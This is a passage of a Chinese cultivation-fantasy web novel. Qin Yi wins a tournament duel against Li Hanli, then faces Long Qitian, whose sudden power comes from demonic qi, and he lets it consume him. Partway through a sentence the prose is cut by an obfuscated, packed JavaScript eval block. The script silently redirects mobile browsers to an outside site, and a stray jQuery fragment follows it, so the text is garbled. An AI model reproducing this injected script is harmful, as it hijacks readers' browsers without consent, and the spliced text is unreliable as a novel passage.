冰霜似的白光划过眼眸,秦衣矮身躲过猝不及防的一剑,顺带远离擂台边缘。
尽管狼狈,眼中未半点认输之意。
“哈。”李寒立半边唇角上扬,不怀好意,“果然贼心不死。”
秦衣擦去唇边血痕,目光凛凛:“寒立,我还有事情要做,怎么就不肯让一让呢?”
“我想赢,你肯让么?”
千百把灵剑虚影身后对准一点方向,手中剑蓄满灵力,冻结的霜花不断从剑刃下飘下。
凶猛密集的剑阵冲锋,李寒立提剑奔赴,势必斩断对手一切后路。
天色变幻仅一瞬,不知何处的风越过李寒立向前,汇入秦衣周身掀起的气浪。
秦衣漂浮空中,不断有血从伤痕累累的身体上滴落,神情却不似方才彷徨,黑眸目空一切,冷漠而又高高在上地俯视着杀气腾腾的李寒立。
“灭道。”
符文化为金光钻入手中白金刃,眨眼间膨胀成一柄巨大的光刃,烈日一般高悬李寒立头顶——
高高扬起,轻轻落下。
李寒立咬牙,再挥出一剑:“霜华覆世!”
灵剑虚影成了薄薄的叶片,无声无息碎裂,白金刃刀刃间无数白色灵光四散。
“咔嚓”一声,终于蔓延开来的寒气撞到白金刃,冷白色的霜花即刻在暖色刀刃上绽开,落下的动作变缓。
李寒立心中一喜,不顾唇边渗出的鲜血,继续输出灵力。
不曾犹豫地抬手,秦衣写就第二张灭道,金光再次流入白金刃。
李寒立见状吼道:“秦衣你疯了!这种杀招最起码得抽干一半灵力,你就算赢了我,下一场还有多少灵力可用?!”
秦衣:“我得先赢下这一场。”
白金刃上再次变大,爆发出强烈的光,仰头望去,似乎真有一轮无法直视的烈日挂在天幕。
刀刃上的霜花被热气蒸腾,寒气变成脆弱的纸片,“灭道”重新开始下落。
冷热碰撞间传来牙酸的爆裂声,李寒立不顾一切地送出灵力。可当额上汗珠滑落,灵力流失过多而恍惚时,她心里已然知晓结局。
回天乏术。
最后一层冰冻虚影被打破,灵虚剑上崩出乱枝条似的裂痕。
秦衣停下“灭道”:“你自己走下去,还是我送你下去?”
李寒立气喘吁吁地直起身,瞪她一眼:“我认输。”
秦衣露出一个真心实意的笑,打了个响指,硕大的白金刃破碎成万千光点。
回到地面时双腿软得几乎站不住,一个踉跄差点坐下,李寒立不放过任何一个嘲笑她的机会。
“还以为你多能耐呢。”
秦衣:“……”看看下巴上的血,你也没多好!
李寒立原以为还要反驳些风凉话,却见秦衣只望着空中,她狐疑地抬起头。
一冷一热的灵力光点停留交汇,薄薄的水雾落下,与此同时,小小的彩虹浮现擂台上空。
在灰暗天幕下显得尤其美丽。
……
柳合珺只参加了第二重比赛,面露担忧地见证秦衣惊险赢下一场又一场,转头看见沉默不语的师尊——
他面露担忧道:“若是师姐真赢了,师尊要如何?”
应问果盯着远处,似乎和朋友调笑几句就能原地复活的秦衣,转头淡笑道:“还有一场。子衿灵力消耗颇多,对上——”
她皱了一下眉,想不起名字。
“对上今年的黑马,输赢未定。就算赢了……”应问果眼中闪过出锋芒,回头吩咐柳合珺,“去。北地的那些东西是时候抬出来了。”
--
距离榜首之争有一刻的休息,秦衣从李寒立薅来几张清洁和疗伤药物,背靠擂台浅浅入眠。
长老的声音似乎下一瞬就出现在耳边,秦衣阖目,脱口而出:“好吵。”
龙齐天站定面前,背光处连笑容都有些阴鸷:“师姐,该比赛了。”
“师姐,上场赢得很精彩。”
“远不及你。”秦衣睁开眼,起身跳上擂台,冰凉的视线落在他身上,“你真是龙齐天么?我第一次见有人一颗灵源石一夜能晋升到如此程度。”
“我一直都是我。我等到师姐口中的机缘,师姐怎么不为我高兴?”
龙齐天抽出别在腰上的木剑,他只有这一把剑。深棕色的木剑饱饮热血,爬满一片片干涸的深色印迹,有对手的,也有龙齐天的。
“师姐若是可怜我,不如将那把剑卖给我。”
秦衣:“你何须可怜,走到此处不比我轻松多了。”
龙齐天那张老实的脸上露出一个无害的笑,却显得怪异,像是妖魔穿走了凡人的皮。
“是康师弟在药丸子里告诉师姐的?”
“不。”袖中翻出一张白金刃,秦衣飞身攻上,“药丸里什么都没有。但一个金丹期打败许多前辈走到此处,我还有什么不明白!”
他怔愣一瞬:“什么都没有么?”
白金刃几乎触碰鼻尖,龙齐天慢悠悠横剑,挡下来势汹汹的一击。
“当啷”一声,刀刃分离,她拧眉退回原处,防备地望向龙齐天。
那把木剑难怪能用到如今,里面灌输龙齐天的灵力,一把木剑完全不输稀有灵剑。
而他的灵力她看不透,恐怕远超最优秀的弟子之上。
康礼的欲言又止与药丸子似乎都有了解释,秦衣瞳孔骤缩:“茂州捡到第二颗灵源石的是你?!”
“比我想象中还要厉害些,竟未被灵力震开。”龙齐天饶有兴趣,蓦地发出一声嗤笑,“师姐以为我吸收了两颗灵源石?”
“难道不是?总不能是梦里有大能把他的灵力全部传给你。”
“或许呢。漫漫仙途总有会出现许多神迹,师姐说呢?”
几十根凝光以千钧之力破空而去,秦衣再次写就一张万木皆破——
四面八方的凝光停滞空中,龙齐天松散挥了一下木剑,鸦羽似的纯黑灵光从剑上飞出,穿透第一根凝光。
无一幸免,所有凝光爆裂成光点散落。
龙齐天好奇地伸手接住,又让光点从指缝间漏出:“师姐,不如让我试试你的灭道。这些烦人的小玩意还是算了。”
秦衣有意试探他的灵力,扬起下巴:“想让我用灭道,那也得看看对手配不配。”
“我不配?”龙齐天仿佛被踩中尾巴的猫,面孔的平静变为狰狞,拉扯嘴角露出笑容,“师姐,他们都是我的手下败将,很快你也会是。你觉得输得还不够快么?”
“还可以更快的。”
秦衣紧盯他的动作,背在身后的手写出灭道第一笔。
龙齐天从袖中掏出那颗熟悉的灵源石,笑嘻嘻地展示:“第二颗灵源石还在这儿呢,师姐。我是真的得到大能传功了。”
他张开嘴,喉咙一动,灵源石从嗓子滑了下去。
“哎,以我如今的修为,吃下去后,师姐能挡住我几招呢?”
看台上。
柳合珺见龙齐天吃下灵源石,一脸焦急地看向师尊:“这是作弊!师姐吃大亏!”
有长老走来询问:“仙尊,是否要喊停比赛?”
眼睛中灵力流转,应问果看破龙齐天真身,叹了口气:“给子衿一瓶疗伤药。不必喊停,等她灵力恢复,看破假象便不难对付。
“灵源石对这孩子的确是个机缘,但心性不稳,走入歧途。可惜了。”
……
写就符文的手加速,似乎有一团火在心中烧起,秦衣却越发冷静:“你知道这块灵源石是怎么来的?当日你也知晓,人人都会为一块灵源石,对同门出手?
“你不是要保护外门弟子?如今你又做了什么?!”
吸收完毕,龙齐天不知餍足地舔舔嘴唇,他垂头,歪斜的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16159009|178577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发丝遮住大半张脸,唯余清晰的一只眼一瞥秦衣,精光毕现。
十几步外的深色衣袍蓦地眼前放大,闪过之后,木剑直刺面中,距离过近,甚至能瞧见剑柄溢出的灵力如鸦羽扑朔而下。
秦衣闻到熟悉的味道。
是魔气。
恐怕是茂州之时捡到灵源石有了贪念,魔气趁虚而入。
这或许也是龙齐天修为突飞猛进的缘由,修士俗称“黑化”。
秦衣一步后撤,万木皆破挡住致命剑尖,趁着空隙,擦去一半的灭道符文。
体内剩余不多的灵力瞬间被抽走一大半,她眼前天旋地转,揪住大腿肉勉强稳住心神,急忙与龙齐天拉开距离。
“龙齐天!你体内的灵力根本不是灵源石带给你的!是你的心魔!”
相当于大乘期一击的“灭道”蓄力不足,只趁着龙齐天出神,“嘭”一声木剑从手中跌落。
“……”他不言不语,蹲下身捡起木剑。
秦衣:“茂州时你动了贪念,才有魔气趁虚而入的机会。其实你自己也知晓,对么?以你的身手,有的长老都不是你的对手。所以你藏住了。”
她面目凝重:“灵源石的确会助长魔气。第二颗灵源石你已经无法掩盖魔气了。该停下了,接下来你一旦使用灵力,心魔越快侵入体内。”
龙齐天眼中似死水毫无波澜,嗓子里却冒出嗬嗬嗬的笑声:“我也想的啊,师姐。我从未想过锋芒毕露至此。多送同门们一轮就好。
“可康礼偏偏去找了你。我逃不掉的,无论是心魔还是灵源石,哪一个说出去都难逃一劫。我只不过想要变强,不想过外门弟子的生活,我好不容易抓住了我的机缘!!
“既然在所难逃,为何不全力一搏,拿下榜首,即便我死了,可仙门大会永远无法抹除我榜首的名字!”
“这个破仙门大会,也值得你为它付出生命的代价?”秦衣不理解,歪头,好言相劝,“你还有得救。若是你不死,或许能够拿到许多届的榜首。”
她如今还未能阻止修士使用灵源石,而龙齐天的吸收效果出奇地好,灵力奇高也并非全拜心魔所致。
龙齐天一味摇头,面露嘲讽:“秦衣,你从未尝过不是天才的滋味吧?从未忍受过仰头看过别人风光无限,自己却什么不是的煎熬吧?”
秦衣很想插嘴,我们符修也没那么好过。但看看陷入偏执的人,只静静听下去。
“我有的救?”妖异的紫色侵占半个瞳孔,他露出极为渗人古怪的笑,“我的好师姐,你说不会是剥夺我的心魔,同所有灵力一起?”
魔气从龙齐天缓缓飘出,他癫狂大喊:“那与让我死有何差——”
“差别”卡壳在喉咙口,龙齐天在原地瞪大眼睛。
秦衣撕碎几张天雷符,操纵微小电流打在他身上几处穴位,手动禁言困在原地。
确定彻底没问题,她跳至龙齐天身前,目光冰凉:“我只是通知你。没有询问你的意见。若非看在你本性不坏,只是一叶障目,我不会救你。”
龙齐天紧紧追随着忙碌的秦衣,目光晦暗不明。
方才省下的灵力便用在这方阵法上,最后一笔写就,秦衣看着阵中的龙齐天,还是安抚道:“只要活得久,没有什么不能做到的。别害怕,不会痛。”
金光织成一张细密的网笼罩,沉默许久的龙齐天蓦地开口:“师姐。”
秦衣心中浮现不好的预感,未反应过来双手已下意识结阵,加固阵法。
纵横交错的金丝线上放出温暖明亮的光,龙齐天的眼泪都那样显眼。
疯狂与偏执消散,干净明亮的眼眸昭示主人的清醒。他是如此清醒地、毅然决然做出决定。
龙齐天:“师姐,对不起。这一次我还是想赢。”
魔气从他的身上溢出,只一瞬龙齐天与阵法就被吞噬其中。
而后铺天盖地。